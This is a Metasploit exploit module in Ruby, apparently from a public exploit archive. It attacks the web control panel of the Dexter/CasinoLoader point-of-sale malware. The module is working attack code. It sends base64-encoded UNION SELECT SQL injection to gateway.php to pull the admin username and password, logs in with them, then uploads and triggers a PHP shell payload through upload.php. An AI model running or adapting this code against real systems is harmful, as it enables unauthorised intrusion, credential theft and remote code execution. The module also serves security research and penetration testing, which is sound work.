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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Dexter (CasinoLoader) SQL Injection", 'Description'=> %q{ This module exploits a vulnerability found in the command and control panel used to control Dexter (Point of Sale malware).This is done by accessing the PHP page used by bots to report in (gateway.php) which does not sanitize input. Input is encrypted and encoded, but the key is supplied by the bot connecting. The 'page' parameter is used in this case.The command and control panel designates a location to upload files, and can be used as a reliable location to write a PHP shell.Authentication is not needed to exploit this vulnerability. }, 'License'=> MSF_LICENSE, 'Author' => [ 'bwall (Brian Wallace) <bwallace[at]cylance.com>' ], 'References' => [ [ "URL", "http://www.xylibox.com/2013/08/point-of-sale-malware-infostealerdexter.html" ] ], 'Payload'=> { 'BadChars' => "\x00" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets'=> [ ['CasinoLoader gateway.php on Windows', {}], ['CasinoLoader gateway.php on Linux', {}] ], 'Privileged' => false, 'DisclosureDate' => "Feb 08 2014" )) register_options( [ OptString.new('TARGETURI', [true, 'The path to the CasinoLoader root folder', '/']), OptString.new('TARGETGATEWAY', [true, 'Name of bot gateway page', 'gateway.php']), OptString.new('TARGETLOGIN', [true, 'Name of panel login page', 'index.php']), OptString.new('TARGETUPLOAD', [true, 'Name of panel upload page', 'upload.php']), OptString.new('TARGETDATABASEUSERTABLE', [true, 'Table in database that holds admin data', 'users']) ], self.class) end def gateway return normalize_uri(target_uri.path, datastore['TARGETGATEWAY']) end def login return normalize_uri(target_uri.path, datastore['TARGETLOGIN']) end def upload return normalize_uri(target_uri.path, datastore['TARGETUPLOAD']) end def database_get_field(table, column, row) res = send_request_cgi({ 'method' => 'POST', 'uri'=>gateway, 'vars_post' => { 'val' => 'AA==', 'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + row.to_s + " -- --") } }) if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=') return Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1]))[1..-3] end return false end def check testvalue = rand_text_alpha(9) res = send_request_cgi({ 'method' => 'POST', 'uri'=>gateway, 'vars_post' => { 'val' => 'AA==', 'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1,'" + testvalue + "',3 -- --") } }) if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=') and Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1])) == '$' + testvalue + ';#' and database_get_field('users', 'name', 0) != false return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit payload_name = rand_text_alpha(rand(10) + 5) + '.php' print_status("#{peer} - Using SQL injection to acquire credentials") user = database_get_field('users', 'name', 0) if user == false print_error("#{peer} - Failed to acquire administrator username") return end password = database_get_field('users', 'password', 0) if password == false print_error("#{peer} - Failed to acquire administrator password") end print_status("#{peer} - Using #{user}:#{password}") res = send_request_cgi({ 'method' => 'POST', 'uri'=>login, 'vars_post' => { 'submit' => '1', 'username' => user, 'password' => password } }) login_cookie = "" if res and res.headers.has_key?('Location') login_cookie = res.get_cookies print_status("#{peer} - Login successful") else print_error("#{peer} - Failed to log in") return end data = Rex::MIME::Message.new data.add_part("MAX_FILE_SIZE", nil, nil, 'form-data; name="MAX_FILE_SIZE"') data.add_part("<?php #{payload.encoded} ?>", nil, nil, "form-data; name=\"uploadedfile\"; filename=\"#{payload_name}\"") post_data = data.to_s print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', 'uri'=> upload, 'ctype'=> "multipart/form-data; boundary=#{data.bound}", 'cookie' => login_cookie, 'data' => post_data }) if res and res.code == 200 and res.body =~ /a href="https://www.exploit-db.com/exploits/31695/upload.php\?del=(.*)">/ path = $1 if target.name =~ /Linux/ path = path.sub! "\\", "/" end target_path = normalize_uri(target_uri.path, path) print_status("#{peer} - Requesting: #{target_path}") send_request_raw({'uri' => normalize_uri(target_path)}) handler else print_error("#{peer} - Failed to upload file") return end end end |
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